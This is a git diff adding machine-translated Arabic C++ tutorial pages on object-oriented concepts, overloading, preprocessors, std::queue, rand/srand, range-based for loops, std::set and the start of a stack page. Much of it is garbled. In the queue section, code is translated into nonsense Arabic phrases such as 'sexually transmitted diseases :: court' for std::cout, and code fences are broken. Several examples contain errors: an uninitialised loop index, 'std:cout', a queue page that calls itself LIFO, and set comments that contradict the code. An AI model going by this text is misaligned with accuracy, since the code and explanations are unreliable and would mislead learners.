+يشير استخراج البيانات إلى توفير المعلومات المطلوبة فقط للعالم الخارجي وإخفاء تفاصيل التنفيذ. على سبيل المثال ، ضع في الاعتبار مجمع فئة مع وظائف عامة مثل getReal () و getImag (). قد ننفذ الفصل كمصفوفة بحجم 2 أو كمتغيرين. ميزة التجريدات هي أنه يمكننا تغيير التنفيذ في أي مرحلة ، ولن يتأثر مستخدمو الفئة المعقدة لأن واجهة أسلوبنا تبقى كما هي. لو كان تطبيقنا عامًا ، لما كنا قد تمكنا من تغييره.
+
+### ميراث:
+
+الوراثة هي العملية التي بواسطتها تحصل الكائنات من فئة واحدة على خصائص كائنات من فئة أخرى. وهو يدعم مفهوم التصنيف الهرمي. يوفر الميراث reusability. هذا يعني أنه يمكننا إضافة ميزات إضافية لفئة موجودة دون تعديلها.
+
+### تعدد الأشكال:
+
+تعدد الأشكال يعني القدرة على اتخاذ أكثر من شكل واحد. قد تعرض العملية سلوكيات مختلفة في حالات مختلفة. يعتمد السلوك على أنواع البيانات المستخدمة في العملية.
+
+يدعم C ++ التحميل الزائد على المشغل والعبء الزائد للوظيفة. التحميل الزائد على المشغل هو عملية جعل المشغل يعرض سلوكيات مختلفة في حالات مختلفة. يستخدم التحميل الزائد للوظيفة اسم دالة مفرد لأداء أنواع مختلفة من المهام. يستخدم تعدد الأشكال على نطاق واسع في تنفيذ الميراث.
+
+### الربط الديناميكي:
+
+في الربط الديناميكي ، يتم تحديد الكود المطلوب تنفيذه استجابة لمكالمة الوظيفة في وقت التشغيل. لدى C ++ وظائف ظاهرية لدعم هذا.
+
+### تمرير الرسالة:
+
+تتواصل الكائنات مع بعضها البعض عن طريق إرسال وتلقي المعلومات لبعضها البعض. رسالة لكائن ما هي طلب لتنفيذ إجراء وبالتالي ستقوم باستدعاء وظيفة في كائن المتلقي الذي يقوم بإنشاء النتائج المطلوبة. ينطوي تمرير الرسالة على تحديد اسم الكائن واسم الدالة والمعلومات التي سيتم إرسالها.
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/overloading/index.md b/client/src/guide/arabic/cplusplus/overloading/index.md
new file mode 100644
index 0000000000..2170776d12
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/overloading/index.md
@@ -0,0 +1,100 @@
+---
+title: C++ Overloading
+localeTitle: C ++ التحميل الزائد
+---
+يتيح لك C ++ تحديد أكثر من تعريف واحد لاسم دالة أو مشغل في نفس النطاق ، وهو ما يسمى التحميل الزائد للوظيفة والحمولة الزائدة على المشغل على التوالي.
+
+الإعلان المفرط عبارة عن إعلان يتم الإعلان عنه بنفس الاسم مثل الإعلان المعلن مسبقًا في نفس النطاق ، باستثناء أن كلا التعريفين لهما حجج مختلفة و تعريف مختلف بشكل واضح (تطبيق).
+
+عندما تقوم باستدعاء وظيفة أو مشغل فوق طاقتها ، يحدد المحول البرمجي التعريف الأكثر ملاءمة للاستخدام ، من خلال مقارنة أنواع الوسيطات التي استخدمتها للاتصال بالوظيفة أو المشغل باستخدام أنواع المعلمات المحددة في التعريفات. وتسمى عملية اختيار الوظيفة أو المشغل الأكثر انشغالاً بالجلسات الزائدة.
+
+### وظيفة الحمولة الزائدة في C ++
+
+يمكنك الحصول على تعريفات متعددة لنفس اسم الوظيفة في نفس النطاق. يجب أن يختلف تعريف الدالة عن بعضها عن طريق أنواع و / أو عدد الوسيطات في قائمة الوسائط. لا يمكنك تحميل الإعلانات الدالة التي تختلف فقط حسب نوع الإرجاع.
+
+المثال التالي هو المثال الذي يتم فيه استخدام نفس وظيفة الطباعة () لطباعة أنواع مختلفة من البيانات -
+
+ `#include <iostream> 
+ #include <string> 
+ using namespace std; 
+ 
+ class printData { 
+   public: 
+      void print(int i) { 
+        cout << "Printing int: " << i << endl; 
+      } 
+      void print(double  f) { 
+        cout << "Printing float: " << f << endl; 
+      } 
+      void print(const string& s) { 
+        cout << "Printing string: " << s << endl; 
+      } 
+ }; 
+ 
+ int main() { 
+   printData pd; 
+ 
+   // Call print to print integer 
+   pd.print(5); 
+ 
+   // Call print to print float 
+   pd.print(500.263); 
+ 
+   // Call print to print string 
+   pd.print("Hello C++"); 
+ 
+   return 0; 
+ } 
+` 
+
+عندما يتم تجميع التعليمات البرمجية المذكورة أعلاه وتنفيذها ، فإنها تنتج النتيجة التالية -
+
+ `Printing int: 5 
+ Printing float: 500.263 
+ Printing string: Hello C++ 
+` 
+
+### مشغل الحمولة الزائدة في C ++
+
+يمكن أيضًا تحميل معظم المشغلات المضمنة في C ++. يسمح هذا للمبرمجين بتعيين تطبيق مختلف للمشغلين حسب الحجج. يمكن أن تعمل هذه المشغلات ذات التحميل الزائد للفئة المحددة من قبل المستخدم.
+
+ `#include<iostream> 
+ using namespace std; 
+ 
+ class Complex_Number{ 
+ private: 
+    int real; 
+    int imag; 
+ public: 
+    Complex_Number(int i = 0, int j =0) 
+    { 
+        real = i; 
+        imag = j; 
+    } 
+    //Here the operator '+' is being overloaded 
+    Complex_Number operator + (Complex_Number const &a) 
+    { 
+         Complex_Number x; 
+         x.real = real + a.real; 
+         x.imag = imag + a.imag; 
+         return x; 
+    } 
+    void print() 
+    { 
+         cout<<real<<" + i"<<imag<<endl; 
+    } 
+ }; 
+ 
+ int main() 
+ { 
+    Complex_Number c1(3, 2), c2(1, 1); 
+    //Here, the overloaded operator is called. The numbers get added according to the function defined 
+    Complex_Number c3 = c1 + c2; 
+    c3.print(); 
+ } 
+` 
+
+الناتج عن البرنامج أعلاه
+
+ `4 + i3 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/preprocessors/index.md b/client/src/guide/arabic/cplusplus/preprocessors/index.md
new file mode 100644
index 0000000000..0a2ba76ff6
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/preprocessors/index.md
@@ -0,0 +1,156 @@
+---
+title: Preprocessors
+localeTitle: Preprocessors
+---
+## Preprocessors in C / CPP
+
+كما يشير الاسم ، فإن Preprocessors هي البرامج التي تعالج شفرة المصدر الخاصة بنا قبل تجميعها. هناك عدد من الخطوات المتبعة بين كتابة البرنامج وتنفيذ برنامج في C / C ++. دعونا نلقي نظرة على هذه الخطوات قبل أن نبدأ في التعلم عن Preprocessors.
+
+![IMG](https://i.imgur.com/Pb0aTkV.png)
+
+يمكنك رؤية الخطوات الوسيطة في الرسم البياني أعلاه. يتم تخزين التعليمات البرمجية المصدر المكتوبة من قبل المبرمجين في الملف program.c. ثم يتم معالجة هذا الملف بواسطة preprocessors ويتم إنشاء ملف تعليمات برمجية مصدر موسع يسمى البرنامج. يتم تجميع هذا الملف الموسّع بواسطة المحول البرمجي ويتم إنشاء ملف رمز الكائن المسمى program.obj. وأخيرًا ، يربط رابط ملف كود الكائن هذا برمز الكائن لوظائف المكتبة لإنشاء ملف البرنامج التنفيذي القابل للتنفيذ.
+
+توفر برامج Preprocessor تعليمات preprocessors التي تخبر المترجم ببرمج المصدر قبل التحويل البرمجي. كل من هذه التوجيهات preprocessor يبدأ برمز `#` (التجزئة). يشير هذا الرمز ('#') في بداية العبارة في برنامج C / C ++ إلى أنه توجيه ما قبل المعالج. يمكننا وضع توجيهات المعالج السابقة في أي مكان في برنامجنا. أمثلة لبعض التوجيهات preprocessor هي: `#include` ، `#define` ، `#ifndef` etc.
+
+### أنواع التوجيهات preprocessor:
+
+1.  وحدات الماكرو
+2.  تضمين ملف
+3.  تجميع شرطي
+4.  التوجيهات الأخرى
+
+### وحدات الماكرو:
+
+وحدات الماكرو هي جزء من التعليمات البرمجية في برنامج الذي يتم إعطاء بعض الاسم. كلما تمت مصادفة هذا الاسم بواسطة المحول البرمجي ، يستبدل المحول البرمجي الاسم بقطعة الشفرة الفعلية. يتم استخدام `#define` التوجيه لتعريف ماكرو.
+
+ `  #include<iostream> 
+  #define LIMIT 3 
+  int main() 
+  { 
+    for(int i=0; i < LIMIT; i++) 
+    { 
+      std::cout<<i<<" " ; 
+    } 
+      return 0; 
+  } 
+` 
+
+انتاج:
+
+`0 1 2`
+
+في البرنامج أعلاه ، عندما ينفذ المحول البرمجي الكلمة `LIMIT` فإنه يستبدلها بـ 3. الكلمة `LIMIT` في تعريف الماكرو تسمى قالب الماكرو و "3" هي امتداد الماكرو.
+
+يجب ألا يكون هناك منقوطة ('؛') في نهاية تعريف الماكرو. لا تحتاج تعريفات ماكرو إلى فصل منقوطة.
+
+### تضمين ملف:
+
+يخبر هذا النوع من التوجيهات preprocessor المحول البرمجي لتضمين ملف في برنامج التعليمات البرمجية المصدر. هناك نوعان من الملفات التي يمكن تضمينها من قبل المستخدم في البرنامج:
+
+*   \#### Header File أو الملفات القياسية: تحتوي هذه الملفات على تعريف للوظائف المحددة مسبقًا مثل printf () ، ... scanf () وما إلى ذلك. يجب تضمين هذه الملفات للعمل مع هذه الوظائف. ... يتم الإعلان عن وظيفة مختلفة في ملفات رؤوس مختلفة. على سبيل المثال ... تميز عمليات I / O القياسية في ملف 'iostream' بينما تكون الدوال التي ... تنفذ عمليات السلسلة في ملف 'string'.
+
+#### بناء الجملة:
+
+`#include< file_name >` حيث file\_name هو اسم الملف المراد تضمينه. يخبر الأقواس `<` و `>` المحول البرمجي للبحث عن الملف في الدليل القياسي.
+
+*   \#### ملفات تعريف المستخدم: عندما يصبح البرنامج كبيرًا جدًا ، من الأفضل تقسيمه إلى ملفات أصغر وتضمينه عند الحاجة. هذه الأنواع من الملفات هي ملفات محددة من قبل المستخدم. يمكن تضمين هذه الملفات على النحو التالي: ... `#include"filename"`
+
+### التجميع الشرطي:
+
+توجيهات الترجمة الشرطية هي نوع من التوجيهات التي تساعد على تجميع جزء معين من البرنامج أو تخطي تجميع جزء معين من البرنامج على أساس بعض الشروط. يمكن القيام بذلك بمساعدة اثنين من الأوامر preprocessing `ifdef` و `endif` .
+
+#### بناء الجملة:
+
+ `  ifdef macro_name 
+    statement1; 
+    statement2; 
+    statement3; 
+    . 
+    . 
+    . 
+    statementN; 
+  endif 
+` 
+
+إذا تم تعريف الماكرو بالاسم "macroname" ، فسيتم تنفيذ كتلة البيانات بشكل طبيعي ولكن إذا لم يتم تعريفها ، فسيخسر المجمع ببساطة هذه المجموعة من العبارات.
+
+### التوجيهات الأخرى:
+
+بصرف النظر عن التوجيهات المذكورة أعلاه ، هناك توجيهان آخران لا يستخدمان بشكل شائع. هؤلاء هم:
+
+1.  \##### `#undef` Directive: يتم استخدام الأمر `#undef` ماكرو موجود. يعمل هذا التوجيه على النحو التالي:
+
+##### بناء الجملة:
+
+`#undef LIMIT` سيؤدي استخدام هذا البيان إلى إلغاء تحديد LIMIT الماكرو الحالي. بعد هذا البيان سيتم تقييم كل عبارة `#ifdef LIMIT` إلى false.
+
+2.  \##### `#pragma` Directive: هذا التوجيه هو توجيه خاص الغرض ويستخدم لتشغيل أو إيقاف بعض الميزات. هذا النوع من التوجيهات خاص بالمتحول ، أي أنها تختلف من مترجم إلى مترجم. بعض من `#pragma` توجيهات نوقشت أدناه:
+
+##### `#pragma startup` و `#pragma exit` :
+
+تساعدنا هذه التوجيهات على تحديد الوظائف المطلوبة للتشغيل قبل بدء تشغيل البرنامج (قبل أن يمرر التحكم إلى main ()) وقبل مخرج البرنامج (فقط قبل إرجاع عنصر التحكم من main ()).
+
+ `#include<stdio.h> 
+ void func1(); 
+ void func2(); 
+ #pragma startup func1 
+ #pragma exit func2 
+ void func1() 
+ { 
+    printf("Inside func1() "); 
+ } 
+ void func2() 
+ { 
+    printf("Inside func2() "); 
+ } 
+ int main() 
+ { 
+    printf("Inside main() "); 
+ 
+    return 0; 
+ } 
+` 
+
+انتاج:  
+`Inside func1() Inside main() Inside func2()`  
+سينتج الكود الموضح أعلاه الناتج كما هو موضح أدناه عند تشغيله على compilers GCC:  
+انتاج:  
+`Inside main()`  
+يحدث هذا لأن GCC لا يدعم #pragma بدء التشغيل أو الإنهاء. ومع ذلك ، يمكنك استخدام الشفرة التالية للحصول على إخراج مشابه من المترجمين في دول مجلس التعاون الخليجي.
+
+ `#include<stdio.h> 
+ void func1(); 
+ void func2(); 
+ void __attribute__((constructor)) func1(); 
+ void __attribute__((destructor)) func2(); 
+ void func1() 
+ { 
+    printf("Inside func1()\n"); 
+ } 
+ void func2() 
+ { 
+    printf("Inside func2()\n"); 
+ } 
+ int main() 
+ { 
+    printf("Inside main()\n"); 
+ 
+    return 0; 
+ } 
+` 
+
+##### `#pragma warn` التوجيه:
+
+يتم استخدام هذا التوجيه لإخفاء رسالة التحذير التي يتم عرضها أثناء التحويل البرمجي. يمكننا إخفاء التحذيرات كما هو موضح أدناه:
+
+##### `#pragma warn -rvl` :
+
+يخفي هذا التوجيه تلك التحذيرات التي تثار عندما لا تقوم دالة من المفترض أن تقوم بإرجاع قيمة بإرجاع قيمة.
+
+##### `#pragma warn -par` :
+
+يخفي هذا التوجيه تلك التحذيرات التي تثار عندما لا تستخدم وظيفة المعلمات التي تم تمريرها إليه.
+
+##### `#pragma warn -rch` :
+
+يخفي هذا التوجيه تلك التحذيرات التي يتم رفعها عندما يكون الرمز غير قابل للوصول. على سبيل المثال: أي رمز مكتوب بعد عبارة الإرجاع في إحدى الوظائف غير قابل للوصول.
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/queue/index.md b/client/src/guide/arabic/cplusplus/queue/index.md
new file mode 100644
index 0000000000..054f8d2f56
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/queue/index.md
@@ -0,0 +1,190 @@
+---
+title: queue
+localeTitle: طابور
+---
+## طوابير
+
+`queue` هي واحدة من الحاويات الأكثر استخدامًا في C ++. الحاوية عبارة عن بنية بيانات تخزن مجموعة من الكائنات ، بعضها في ترتيب ، وبعضها لا. تحتوي كل الحاويات على مجموعة مختلفة من الوظائف التي تسمح لك بالوصول إلى كائن (كائنات) في تلك المجموعة.
+
+`std::queue` جزء من المكتبة القياسية C ++ (ومن هنا pred `std::` ويسمح لك بتخزين البيانات في First Out First (FIFO). ملاحظة: **يجب أن تكون كافة الكائنات الموجودة في قائمة انتظار من نفس نوع البيانات**
+
+يدخل نوع البيانات الذي تقوم بتخزينه في قائمة الانتظار داخل أقواس زاوية بجوار الكلمة الرئيسية في قائمة الانتظار. على سبيل المثال ، إذا كنت ترغب في تخزين مجموعة من الأعداد الصحيحة ، فستكون قائمة الانتظار `std::queue<int> queue_name`
+
+### Queue LIFO شرح
+
+تتيح لنا `queue` الضغط على / enqueue و pop / dequeue بترتيب معين. **دفع** يعني إدخال كائن في مقدمة قائمة الانتظار. **البوب** تعني سحب الكائن "الأقدم" من نهاية قائمة الانتظار. لذا عندما تضغط عليه في المقدمة وعندما تطفو فإنك تستخرج العنصر الأقدم.
+
+![alt text](https://github.com/mohammadaziz313/helloworld/blob/master/Fifo_queue.png "FIFO Queue Enqueue و Dequeue مثال")
+
+### عمليات قائمة الانتظار
+
+يدعم حاوية قائمة الانتظار العمليات التالية:
+
+*   دفع (enqueue)
+*   pop (dequeue)
+*   فارغة
+*   بحجم
+*   أمامي
+*   الى الخلف
+
+#### إدفع
+
+يسمح لك بإدراج عنصر جديد في نهاية قائمة الانتظار ، بعد العنصر الأخير الحالي.
+
+ `//Push operation in Queue 
+ #include <iostream>       // std::cout 
+ #include <queue>          // std::queue 
+ 
+ int main () 
+ { 
+  std::queue<int> q; 
+ 
+  q.push(1);    //Pushing 1 at front of the queue 
+  q.push(2);    //Pushing 2 at front of the queue 
+ 
+  return 0; 
+ } 
+` 
+
+#### أمامي
+
+يسمح لك بالوصول إلى العنصر التالي في قائمة الانتظار دون إزالته. العنصر التالي هو العنصر "الأقدم" في قائمة الانتظار.
+
+ `//Front operation in Queue 
+ #include <iostream>       // std::cout 
+ #include <queue>          // std::queue 
+ 
+ int main () 
+ { 
+  std::queue<int> q; 
+ 
+  q.push(1);    //Pushing 1 at front of the queue 
+  q.push(2);    //Pushing 2 at front of the queue 
+ 
+  std::cout<<q.front()<<'\n';     //Accessing the front of the queue 
+  std::cout<<q.front()<<'\n';     //Accessing the front of the queue 
+ 
+  return 0; 
+ } 
+` 
+
+ `Output: 
+ 1 
+ 1 
+` 
+
+#### فرقعة
+
+يسمح لك بإزالة العنصر التالي في قائمة الانتظار ، مما يقلل بشكل فعال حجمه بمقدار واحد. العنصر الذي تمت إزالته هو العنصر "الأقدم".
+
+ `//Pop operation in Queue 
+ #include <iostream>       // std::cout 
+ #include <queue>          // std::queue 
+ 
+ int main () 
+ { 
+  std::queue<int> q; 
+ 
+  q.push(1);    //Pushing 1 at front of the queue 
+  q.push(2);    //Pushing 2 at front of the queue 
+ 
+  std::cout<<q.front()<<'\n';     //Accessing the front of the queue 
+  q.pop();                        //Removing the oldest element 
+  std::cout<<q.front()<<'\n';     //Accessing the front of the queue 
+  q.pop();                        //Removing the oldest element 
+ 
+  return 0; 
+ } 
+` 
+
+ `Output: 
+ 1 
+ 2 
+` 
+
+#### بحجم
+
+لعرض عدد العناصر في `queue` .
+
+ `//Size operation in Queue 
+ #include <iostream>       // std::cout 
+ #include <queue>          // std::queue 
+ 
+ int main () 
+ { 
+  std::queue<int> q; 
+ 
+  q.push(1);    //Pushing 1 at front of the queue 
+  q.push(2);    //Pushing 2 at front of the queue 
+ 
+  std::cout<<q.size()<<'\n';     //Accessing the front of the queue 
+  q.pop();                        //Removing the oldest element 
+  std::cout<<q.size()<<'\n';     //Accessing the front of the queue 
+  q.pop();                        //Removing the oldest element 
+  std::cout<<q.size()<<'\n';     //Accessing the front of the queue 
+ 
+  return 0; 
+ } 
+` 
+
+ `Output: 
+ 2 
+ 1 
+ 0 
+` 
+
+#### فارغة
+
+إرجاع ما إذا كانت `queue` فارغة ، أي ما إذا كان حجم قائمة الانتظار هو صفر. تقوم بإرجاع `true` إذا كان حجم قائمة الانتظار 0 أخرى بإرجاع `false`
+
+\`\` \`cpp // عملية فارغة في قائمة الانتظار
+
+# تتضمن // std :: cout
+
+# تتضمن // std :: stack
+
+انت مين () { الأمراض المنقولة جنسيا :: طابور ف.
+
+q.push (1)؛ q.push (2)؛
+
+بينما (q.empty ()! = true) { الأمراض المنقولة جنسيا :: محكمة << q.front () << '\\ ن'. q.pop ()؛ }
+
+std :: cout << "الخروج من الحلقة" << '\\ n'؛ العودة 0 }
+
+ `    Output: 
+    1 
+    2 
+    Out of loop 
+ 
+ #### Back 
+ 
+ Allows you to access the last element in the queue without removing it. 
+ The next element is the "newest" element in the queue. 
+` 
+
+حزب الشعب الكمبودي // Back العملية في قائمة الانتظار
+
+# تتضمن // std :: cout
+
+# تتضمن // std :: queue
+
+انت مين () { الأمراض المنقولة جنسيا :: طابور ف.
+
+q.push (1)؛ // دفع 1 أمام قائمة الانتظار q.push (2)؛ // دفع 2 أمام قائمة الانتظار
+
+الأمراض المنقولة جنسيا :: محكمة << q.back () << '\\ ن'. // الوصول إلى الجزء الخلفي من قائمة الانتظار الأمراض المنقولة جنسيا :: محكمة << q.back () << '\\ ن'. // الوصول إلى الجزء الخلفي من قائمة الانتظار
+
+العودة 0 } \`\` \`
+
+ `Output: 
+ 2 
+ 2 
+` 
+
+### لمزيد من الموارد:
+
+http://www.cplusplus.com/reference/queue/queue/
+
+### اقتباسات:
+
+الصورة مجاملة: https://en.wikipedia.org/wiki/FIFO _(computing_ and\_electronics)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/random-functions/index.md b/client/src/guide/arabic/cplusplus/random-functions/index.md
new file mode 100644
index 0000000000..4c9d4af251
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/random-functions/index.md
@@ -0,0 +1,86 @@
+---
+title: Random Functions
+localeTitle: وظائف عشوائية
+---
+*   الأرقام العشوائية هي طريقة ملائمة لإدخال العشوائية في برنامجك. على سبيل المثال ، إذا كنت ترغب في تشغيل أي من عمليات المحاكاة أو تشغيل الألعاب ، فاحذف المؤشرات العشوائية لمصفوفة إلخ ، ثم الأرقام العشوائية هي الطريقة التي يمكنك اتباعها.
+*   ملف الرأس لتضمين استخدام أرقام عشوائية في c ++ `cstdlib` .
+*   _نصيحة للمحترفين: -_ يمكنك استخدام `cpp #include<bits/stdc++.h>` لتضمين جميع الوظائف من جميع ملفات الرأس.
+
+وظيفة: - راند ()  
+\- إرجاع رقم زائف عشوائي (عدد صحيح) من 0 إلى RAND _MAX. لا يأخذ أي حجج. - RAND_ MAX هو العدد الصحيح الأقصى المسموح به. هو مركب depedent وعادة ما يكون 2147483647.
+
+فيما يلي مثال على ذلك: -
+
+ `#include <cstdlib> 
+ #include <iostream> 
+ using namespace std; 
+ 
+ int main() { 
+  cout << rand() << endl; 
+  cout << rand() << endl; 
+  cout << rand() << endl; 
+  return 0; 
+ } 
+ 
+ /* 
+ Output:- (Note that the output is random and will differ from what is mentioned here) 
+ 1804289383 
+ 846930886 
+ 1681692777 
+ */ 
+` 
+
+الآن ، قم بتشغيل البرنامج مرة أخرى. ومره اخرى. ومره اخرى. ماذا ترى؟ يتم طباعة نفس الإخراج مرارًا وتكرارًا.
+
+دعونا نعود إلى تعريف الدالة rand (): -
+
+rand (): - _إرجاع رقم **pseudo-random** (عدد صحيح) من 0 إلى RAND\_MAX. لا يأخذ أي حجج._
+
+إذن ما هو الرقم العشوائي؟
+
+*   كما يوحي الاسم ، الرقم الذي ليس عشوائياً حقاً هو رقم شبه عشوائي.
+*   أرقام psuedorandom تخرج آمنة مشفرة وتكون عرضة للهجمات.
+*   في سياق C ++ ، يظهر الرقم عشوائيًا ، لكن ليس عشوائيًا. تفترض الدالة أن كل رقم من 0 إلى RAND\_MAX يكون على الأغلب متساوٍ وأن يبصق رقم واحد. (في الواقع، هذا ليس هو الحال ، لكنه قريب). على سبيل المثال ، يستخدم الرقم 5 في كل مكان تقريبًا. إذا كان الرقم العشوائي يبصق 5 ، فقد لا تعتقد أن الرقم غير فعال ، عشوائي.
+*   تأخذ رواية funtion العشوائية () رقمًا كبيرًا جدًا ، وتطبق modulo برقم أولي كبير وتقوم بجميع أنواع العمليات على رقم وتقوم بإرجاع قيمة. مهما كانت معقدة ، لا يزال من الممكن كسرها.
+
+كيف نحصل على مجموعة فريدة من الأرقام العشوائية durng كل تنفيذ البرنامج؟
+
+نحن نستخدم `void srand(int seed)` ؛
+
+*   "Seed" هو الاسم الذي يطلق على الرقم الذي يجعل مولد التسلسل العشوائي يبدأ عند نقطة بداية مختلفة في كل مرة. هذا يجعل من أن الدالة العشوائية لا تبصق نفس القيم أثناء تشغيل البرنامج.
+*   **من المهم فقط استدعاء استدعاء srand ONCE في بداية البرنامج.**
+*   ليست هناك حاجة لإجراء مكالمات متكررة لبذر مولد الرقم العشوائي (في الواقع ، سوف يجعل رقمك أقل بالتساوي وزعت).
+*   تقنية شائعة الاستخدام هي لبذر مولد الأرقام العشوائية باستخدام الساعة ، حيث تمنحك الساعة مخرجات مختلفة في كل مرة تنظر إليها. لذلك ، بالنسبة للبذرة ، يمكنك أخذ إخراج الوقت وتوصيله إلى مولد الأرقام العشوائية.
+*   ستقوم الدالة time () بإرجاع وقت الكمبيوتر. يتم التعبير عن هذا من حيث عدد ثواني انقضت منذ 1 يناير 1970 (الحقبة).
+*   سيعود وقت الدالة (NULL) عدد الثواني المنقضية في وقت الكمبيوتر.
+*   ملف الرأس الذي يجب تضمينه لوظائف الوقت: \`ctime '.
+
+مقتطف الشفرة:
+
+ `#include <ctime> 
+ 
+ srand(time(NULL)); 
+ cout << rand(); 
+ 
+ /* 
+ Output: (Will differ from computer to computer, and because of the seed, will also differ from time to time, literally. :D) 
+ 1696269016 
+ */ 
+` 
+
+هذا ينتج قيم مختلفة في كل مرة يتم تشغيل البرنامج.
+
+مكافأة: التغيير والتبديل في راند () لراحتك.
+
+*   منذ إرجاع rand () رقم عشوائي من 0 إلى RAND\_MAX ، إذا كنت تريد رقمًا بين 0 و 8 على سبيل المثال ، فافعل -rand () 9٪. أي رقم modulo 9 سيعود قيمة من 0 إلى 8.
+    
+*   أكثر رسمية ، إذا كنت تريد رقمًا بين L (ضمنيًا) و U (ضمنيًا) ، فيجب أن تفعل `int num = L + rand()%(U-L+1).` Explanation: - rand ()٪ (UL + 1) تقوم بارجاع رقم عشوائي (pseudo-random، dont forget) betwwen 0 و (UL). ومن ثم ، فإن إضافة L تتأكد من أننا نحصل على قيمة بين L و U.
+    
+    ملخص:-
+    
+
+1.  int rand (): إرجاع رقم عشوائي بين 0 و RAND\_MAX.
+    
+2.  void srand (int seed): يستخدم لبذر مولد الرقم العشوائي. يكفي استدعاء هذه الوظيفة _مرة واحدة_ فقط.
+    
+    ### المصادر: - إنشاء [عدد عشوائي](http://www.math.uaa.alaska.edu/~afkjm/csce211/handouts/RandomFunctions)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/range-for-loop/index.md b/client/src/guide/arabic/cplusplus/range-for-loop/index.md
new file mode 100644
index 0000000000..c8dbbec578
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/range-for-loop/index.md
@@ -0,0 +1,27 @@
+---
+title: Range For Loop
+localeTitle: نطاق للحلقة
+---
+## النطاق القائم للحلقة
+
+ومقرها تراوحت `for` حلقة يسمح سهلة حلقات على مجموعة من العناصر (مثل عناصر في وعاء).
+
+مع التقليدية `for` حلقة:
+
+ `std::vector<std::string> stringList {"one", "two", "three"}; 
+ 
+ for (size_t il; il < stringList.size(); il++ 
+ { 
+  std::cout << stringList.at(il) << std::endl; 
+ } 
+` 
+
+مع مجموعة المستندة `for` حلقة:
+
+ `std::vector<std::string> stringList {"one", "two", "three"}; 
+ 
+ for (auto& singleString : stringList) 
+ { 
+  std:cout << singleString << std::endl; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/set/index.md b/client/src/guide/arabic/cplusplus/set/index.md
new file mode 100644
index 0000000000..a98949585c
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/set/index.md
@@ -0,0 +1,93 @@
+---
+title: Set
+localeTitle: جلس
+---
+يتم تعريف بنية مجموعة البيانات في c ++ بنفس الطريقة التي يتم تحديدها في سياق الرياضيات.
+
+بشكل أكثر رسمية ، المجموعات هي نوع من الحاويات الترابطية التي يجب أن يكون كل عنصر فيها فريدًا.
+
+*   لا يمكن تعديل قيمة العنصر بمجرد إدخاله ، على الرغم من أن حذف عنصر وإدخال عنصر جديد مسموح به ، بنفس الطريقة التي نقوم بها في الرياضيات.
+*   يمكن استخدام هيكل مجموعة البيانات للنموذج ، جيدًا ، يحدد نفسه. يصبح من السهل العثور على التقاطعات والنقابات وما إلى ذلك.
+*   مشابه للمتجه ، ولكن يتم السماح فقط بالقيم الفريدة.
+*   تقوم المجموعة بترتيب العناصر بترتيب متزايد عندما تقوم بإدراج عناصر في المجموعة.
+
+يتم تعيين ملف الرأس المطلوب لاستخدام بنية البيانات المحددة. أي ، يجب `#include<set>` في التعليمات البرمجية الخاصة بك لكي تتمكن من استخدام بنية البيانات المحددة.
+
+**نصيحة للمحترفين** : - استخدم `#include<bits/stdc++.h>` لتضمين جميع هياكل وبيانات C ++ بدلاً من إضافتها واحدة تلو الأخرى.  
+بعض الوظائف التي يمكن القيام بها مع مجموعة: -
+
+1.  start () - إرجاع مكرر إلى العنصر الأول في المجموعة
+2.  end () - إرجاع مكرر إلى العنصر النظري الذي يتبع العنصر الأخير في المجموعة
+3.  size () - لعرض عدد العناصر في المجموعة
+4.  max\_size () - لعرض الحد الأقصى لعدد العناصر التي يمكن أن تحتويها المجموعة
+5.  empty () - إرجاع ما إذا كانت المجموعة فارغة
+6.  محو (const g) - يزيل القيمة "g" من المجموعة
+7.  clear () - يزيل كل العناصر من المجموعة
+
+دعونا ننظر على سبيل المثال :-
+
+ `#include <iostream> 
+ #include <set> 
+ #include <iterator> 
+ 
+ using namespace std; 
+ int main() 
+ { 
+    set <int> myset;   //an empty set container. Note that size of the set need not be declared, similar to vector. 
+ 
+    // insert elements in random order 
+    myset.insert(65); 
+    myset.insert(30); 
+    myset.insert(80); 
+    myset.insert(20); 
+    myset.insert(9); 
+    myset.insert(9); // only one 9 will be added to the list. 
+ 
+ 
+    // printing set myset 
+    set <int> :: iterator itr; //an iterator is like a pointer. 
+    cout << "\nThe contents of myset : "; 
+    for (itr = myset.begin(); itr != myset.end(); ++itr) 
+    { 
+        cout << '\t' << *itr; 
+    } 
+    cout << endl; 
+ 
+ 
+    // remove all elements up to 65 in myset from the beginning:- 
+    cout << "\nContents of myset after removal of elements less than 30 : "; 
+    myset.erase(myset.begin(), myset.find(30)); 
+    for (itr = myset.begin(); itr != myset.end(); ++itr) 
+    { 
+        cout << '\t' << *itr; 
+    } 
+ 
+    // remove element with value 50 in myset 
+ 
+    int num = myset.erase(80); //returns true (and deletes) if 80 is there in the list else returns 0. 
+    cout<<"\n\n After doing myset.erase(80), "<<num<<" element is removed\n\n"; 
+    cout<<"Contents of the modified set:\t"; 
+    for (itr = myset.begin(); itr != myset.end(); ++itr) 
+    { 
+        cout << '\t' << *itr; 
+    } 
+ 
+    cout << endl; 
+ 
+ 
+    return 0; 
+ 
+ } 
+` 
+
+\`\` \`حزب الشعب الكمبودي انتاج:- محتويات myset: 9 20 30 65 80
+
+محتويات myset بعد إزالة العناصر أقل من 30: 30 65 80
+
+بعد القيام بـ myset.erase (80) ، تتم إزالة عنصر واحد
+
+محتويات المجموعة المعدلة: 30 65 \`\` \`
+
+\### المصادر
+
+1.  [المهوسون المهوسون](https://www.geeksforgeeks.org/set-in-cpp-stl/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/stack/index.md b/client/src/guide/arabic/cplusplus/stack/index.md
new file mode 100644
index 0000000000..e4db209e1f
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/stack/index.md
@@ -0,0 +1,164 @@
+---
+title: stack
+localeTitle: كومة
+---
+## كومات
+
